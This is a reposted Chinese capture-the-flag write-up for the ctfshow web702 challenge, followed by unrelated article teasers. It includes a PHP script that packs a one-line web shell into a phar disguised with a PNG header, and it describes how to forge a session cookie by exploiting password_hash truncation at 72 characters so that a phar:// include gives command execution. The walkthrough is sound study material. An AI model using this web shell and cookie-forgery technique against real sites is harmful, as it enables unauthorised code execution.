ctfshow-大赛原题-web702

news2025/4/20 3:07:06

因为该题没有理解到位,导致看wp也一直出错,特此反思一下。

参考yu22x师傅的文章 :CTFSHOW大赛原题篇(web696-web710)_ctfshow 大赛原题-CSDN博客

首先拿到题目:

// www.zip 下载源码

我们的思路就是包含一个css文件,这个css文件是压缩到phar中的,那么如何绕过文件上传必须是PNG的限制呢,就可以手动赋值一个文件头

<?php
$png_header = hex2bin('89504e470d0a1a0a0000000d49484452000000400000004000');
$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->addFromString('exp.css', '<?php system($_GET["cmd"]); ?>');
$phar->setStub($png_header . '<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();

 

结合这个data和signature,我们可以先创建一个账号登录一下:

eyJuYW1lIjoiMTIzXzEyMyJ9.JDJ5JDEwJHNuOWJqbDQzc1pjTTJFd2FCVWV0ZnV0WDZ5UDJWaERTbnNxWU5pMGowcERwVEFhbXVWUTJD

 那么再传入我们生成的phar文件再查看一下cookie的变化:

(我们发现这两次的cookie签名值是不同的),如果签名值是不同的那么我们添加theme参数的时候就会让我们重新登录无法进行命令执行了

eyJuYW1lIjoiMTIzXzEyMyIsImF2YXRhciI6ImVkY2Q1M2U2LnBuZyJ9.JDJ5JDEwJE96SlRZZ2puQ1NQM2lGWHRrNzlPTWU4dEY0VmpVVld5SzJEMGwuMVh3Q0tjbmNsNEJKbG1H

接下来我们需要关注一个比较有意思的地方:

现在我们需要考虑的是我们怎么凑才能把data这个消息也就是咱们cookie "." 前面的字符串是72位以上呢?

我们需要访问/upload.php 但是不需要上传文件即可:

 

这样就凑够了72以上字符,

因为此处凑够了72以上字符,因此后面添加theme后,我们就需要用这个签名

eyJuYW1lIjoiMTIzXzEyMyIsImF2YXRhciI6ImVkY2Q1M2U2LnBuZyIsImZsYXNoIjp7InR5cGUiOiJlcnJvciIsIm1lc3NhZ2UiOiJObyBmaWxlIHdhcyB1cGxvYWRlZC4ifX0.JDJ5JDEwJEpINWNYWEdqdzhYSXIzYVJDQnE1dHVLSi9rRWpoM3NXUzN1NXkxOVhWT1gwV2JoNXZITVFD

 {"name":"123_123","avatar":"edcd53e6.png","flash":{"type":"error","message":"No file was uploaded."},"theme":"phar://uploads/edcd53e6.png/exp"}

接着我们利用util类里面的urlsafe_base64_encode函数生成$data再拼接之前的.后面签名即可:

这样就可以执行了,我错误的原因呢就是拿到最初登录时候给的$signature来拼接了

但是没考虑到那个password_hash的特性

 

 具体的思路:

1、可以包含css,所以创建一个css压缩到phar中,生成png的文件头

2、通过访问upload.php凑够那个72字符

{"name":"123_123","avatar":"edcd53e6.png","flash":{"type":"error","message":"No file was uploaded."},"theme":"phar://uploads/edcd53e6.png/exp"}

3、添加theme参数

4、访问/index.php  传cmd参数执行命令

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2338431.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Triton(2)——Triton源码接结构

1 triton 3.0.0 源码结构 triton docs/&#xff1a;项目文档 cmake/&#xff1a;构建配置相关 bin/&#xff1a;工具、脚本 CmakeLists.txt&#xff1a;cmake 配置文件 LSCENSE README.md Pyproject.toml&#xff1a;python 项目配置文件 utils/&#xff1a;项目配置文…

容器docker入门学习

这里写目录标题 容器容器的软件厂商 dockerdocker引擎 虚拟化虚拟化技术 docker安装详解1、安装检查2、安装yum相关的工具3、安装docker-ce软件4、查看docker版本5、启动docker服务6、设置docker开机启动7、查看有哪些docker容器运行进程8、查看容器里有哪些镜像9、下载nginx软…

HarmonyOS NEXT开发教程:全局悬浮窗

今天跟大家分享一下HarmonyOS开发中的悬浮窗。 对于悬浮窗&#xff0c;可能有的同学会想到使用层叠布局是否可以实现&#xff0c;将悬浮窗叠在导航栏组件Tabs上&#xff0c;像这样&#xff1a; Stack({alignContent:Alignment.BottomEnd}){Tabs({barPosition:BarPosition.End…

解锁元生代:ComfyUI工作流与云原生后端的深度融合

目录 蓝耘元生代&#xff1a;智算新势力崛起​ ComfyUI 工作流创建详解​ ComfyUI 初印象​ 蓝耘平台上搭建 ComfyUI 工作流​ 构建基础工作流实操​ 代码示例与原理剖析​ 云原生后端技术全景 云原生后端概念解析​ 核心技术深度解读​ 蓝耘元生代中两者的紧密联系​…

STM32 基本GPIO控制

目录 GPIO基础知识 ​编辑IO八种工作模式 固件库实现LED点灯 蜂鸣器 按键基础知识 ​编辑继电器 震动传感器 433M无线模块 GPIO基础知识 GPIO(General-Purpose input/output,通用输入/输出接口) 用于感知外部信号&#xff08;输入模式&#xff09;和控制外部设备&…

汽车免拆诊断案例 | 2019款大众途观L车鼓风机偶尔不工作

故障现象 一辆2019款大众途观L车&#xff0c;搭载DKV发动机和0DE双离合变速器&#xff0c;累计行驶里程约为8万km。车主进厂反映&#xff0c;鼓风机偶尔不工作。 故障诊断  接车后试车&#xff0c;鼓风机各挡位均工作正常。用故障检测仪检测&#xff0c;空调控制单元&#x…

FastAPI与SQLAlchemy数据库集成

title: FastAPI与SQLAlchemy数据库集成 date: 2025/04/17 15:33:34 updated: 2025/04/17 15:33:34 author: cmdragon excerpt: FastAPI与SQLAlchemy的集成通过创建虚拟环境、安装依赖、配置数据库连接、定义数据模型和实现路由来完成。核心模块包括数据库引擎、会话工厂和声…

免费将静态网站部署到服务器方法(仅支持HTML,CSS,JS)

原视频链接&#xff1a;把HTML免费部署到网站上&#xff0c;实现别人也能访问的教程来啦QAQ_哔哩哔哩_bilibili 注意&#xff1a;仅支持HTML、CSS、JS。不支持Vue等框架。 1.打开网站www.wordpress.org 点击红框按钮 点击红框按钮下载wordpress模板文件并解压。 将自己编写的…

51单片机实验一:点亮led灯

目录 一、实验环境与实验器材 二、实验内容及实验步骤 1.用keil 软件创建工程&#xff0c;C文件编写程序&#xff0c;编译生成hex文件​编辑 2.用STC烧写hex文件&#xff0c;点亮第一个LED灯 3.使用法2&#xff0c;点除第一个以外的LED灯 一、实验环境与实验器材 环境&am…

PyCharm 开发工具 修改字体大小及使用滚轮没有反应

PyCharm 开发工具 修改字体大小及使用滚轮没有反应 提示&#xff1a;帮帮志会陆续更新非常多的IT技术知识&#xff0c;希望分享的内容对您有用。本章分享的是PyCharm 开发工具。前后每一小节的内容是有学习/理解关联性&#xff0c;希望对您有用~ PyCharm 开发工具 修改字体大小…

zookeeper启动报错have small server identifier

解决方案&#xff1a; 1、查看myid是否有重复 2、查看server.X 与myid的X是否一致 3、启动顺序为myid从小到大的服务器顺序

1.Framer Motion 中 motion/react 和 motion/react-client 的用法和区别

背景知识&#xff1a;服务器端渲染 (SSR) 和客户端渲染 (CSR) 在最新的 Motion for React&#xff08;原 Framer Motion&#xff09;12.x 及更高版本中&#xff0c;官方提供了两个入口模块&#xff1a;motion/react 和 motion/react-client。二者对外 API 完全一致&#xff0c…

简易 Python 爬虫实现,10min可完成带效果源码

目录 准备工作 编写爬虫代码 运行爬虫 查看结果 遇到的问题及解决 总结 前言和效果 本文记录了使用 Python 实现一个简单网页爬虫的过程&#xff0c;目标是爬取 quotes.toscrape.com 的名言和作者&#xff0c;并将结果保存到文本文件。以下是完整步骤&#xff0c;包含环境…

【学习笔记】Py网络爬虫学习记录(更新中)

目录 一、入门实践——爬取百度网页 二、网络基础知识 1、两种渲染方式 2、HTTP解析 三、Request入门 1、get方式 - 百度搜索/豆瓣电影排行 2、post方式 - 百度翻译 四、数据解析提取三种方式 1、re正则表达式解析 &#xff08;1&#xff09;常用元字符 &#xff0…

旅游资源网站登录(jsp+ssm+mysql5.x)

旅游资源网站登录(jspssmmysql5.x) 旅游资源网站是一个为旅游爱好者提供全面服务的平台。网站登录界面简洁明了&#xff0c;用户可以选择以管理员或普通用户身份登录。成功登录后&#xff0c;用户可以访问个人中心&#xff0c;进行修改密码和个人信息管理。用户管理模块允许管…

C语言链接数据库

目录 使用 yum 配置 mysqld 环境 查看 mysqld 服务的版本 创建 mysql 句柄 链接数据库 使用数据库 增加数据 修改数据 查询数据 获取查询结果的行数 获取查询结果的列数 获取查询结果的列名 获取查询结果所有数据 断开链接 C语言访问mysql数据库整体源码 通过…

中间件--ClickHouse-9--MPP架构(分布式计算架构)

1、MPP 架构基础概念 MPP(Massively Parallel Processing 大规模并行处理) 是一种分布式计算架构&#xff0c;专门设计用来高效处理大规模数据集。在这种架构下*&#xff0c;数据库被分割成多个部分&#xff0c;每个部分可以在不同的服务器节点上并行处理*。这意味着&#xff…

分布式计算领域的前沿工具:Ray、Kubeflow与Spark的对比与协同

在当今机器学习和大数据领域&#xff0c;分布式计算已成为解决大规模计算问题的关键技术。本文将深入探讨三种主流分布式计算框架——Ray、Kubeflow和Spark&#xff0c;分析它们各自的特点、应用场景以及如何结合它们的优势创建更强大的计算平台。 Spark批量清洗快&#xff0c;…

每天学一个 Linux 命令(20):find

​​可访问网站查看,视觉品味拉满: http://www.616vip.cn/20/index.html find 是 Linux 系统中最强大的文件搜索工具之一,支持按名称、类型、时间、大小、权限等多种条件查找文件,并支持对搜索结果执行操作(如删除、复制、执行命令等)。掌握 find 可大幅提升文件管理效率…

Winform发展历程

Windows Forms (WinForms) 发展历程 起源与背景&#xff08;1998-2002&#xff09; Windows Forms&#xff08;简称WinForms&#xff09;是微软公司推出的基于.NET Framework的GUI&#xff08;图形用户界面&#xff09;开发框架&#xff0c;于2002年随着.NET Framework 1.0的…